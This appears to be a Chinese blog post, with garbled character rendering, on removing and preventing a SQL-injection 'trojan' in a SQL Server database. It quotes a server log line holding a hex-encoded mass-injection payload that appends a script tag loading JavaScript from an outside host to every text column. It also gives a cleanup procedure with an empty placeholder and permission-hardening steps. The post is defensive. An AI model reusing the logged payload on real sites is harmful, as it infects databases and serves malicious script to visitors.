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如果你的數(shù)據(jù)庫(kù)中被寫(xiě)入了 類似的木馬,您可以采用這個(gè)方法快速的刪除木馬!

新建存儲(chǔ)過(guò)程,然后允許就可以了

Create PROCEDURE dbo.ss AS

declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)

set @inScript=''

declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

open table_cursor

fetch next from table_cursor into @t,@c

while(@@fetch_status=0)

begin

exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' )

fetch next from table_cursor into @t,@c

end

close table_cursor

deallocate table_cursor;

當(dāng)然我們也想看看他們是怎么掛上木馬的.

IIS日志了，很意外的發(fā)現(xiàn)了一處代碼：

2009-01-16 15:39:57 W3SVC1570028688 202.96.137.63 GET /hdjr.asp y=2008&m=10&d=21&word=%e5%ab%81%e5%a8%b6%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.179.110.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64

很顯然state=200意味著什么，SQL里執(zhí)行一下，看一下原形，

DECLARE @T VARCHAR(255),@C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR Select a.name,b.name FROM sysobjects a,syscolumns b Where a.id=b.id AND a.xtype='u' AND (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN

EXEC('Update ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

解決方法

徹底杜絕SQL注入

1.不要使用sa用戶連接數(shù)據(jù)庫(kù)

2、新建一個(gè)public權(quán)限數(shù)據(jù)庫(kù)用戶，并用這個(gè)用戶訪問(wèn)數(shù)據(jù)庫(kù)

3、[角色]去掉角色public對(duì)sysobjects與syscolumns對(duì)象的select訪問(wèn)權(quán)限

4、[用戶]用戶名稱-> 右鍵－屬性－權(quán)限－在sysobjects與syscolumns上面打“×”

5、通過(guò)以下代碼檢測(cè)（失敗表示權(quán)限正確，如能顯示出來(lái)則表明權(quán)限太高）：

DECLARE @T varchar(255),

@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

Select a.name,b.name from sysobjects a,syscolumns b

where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN print @c

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

---------------------------------------------------------------

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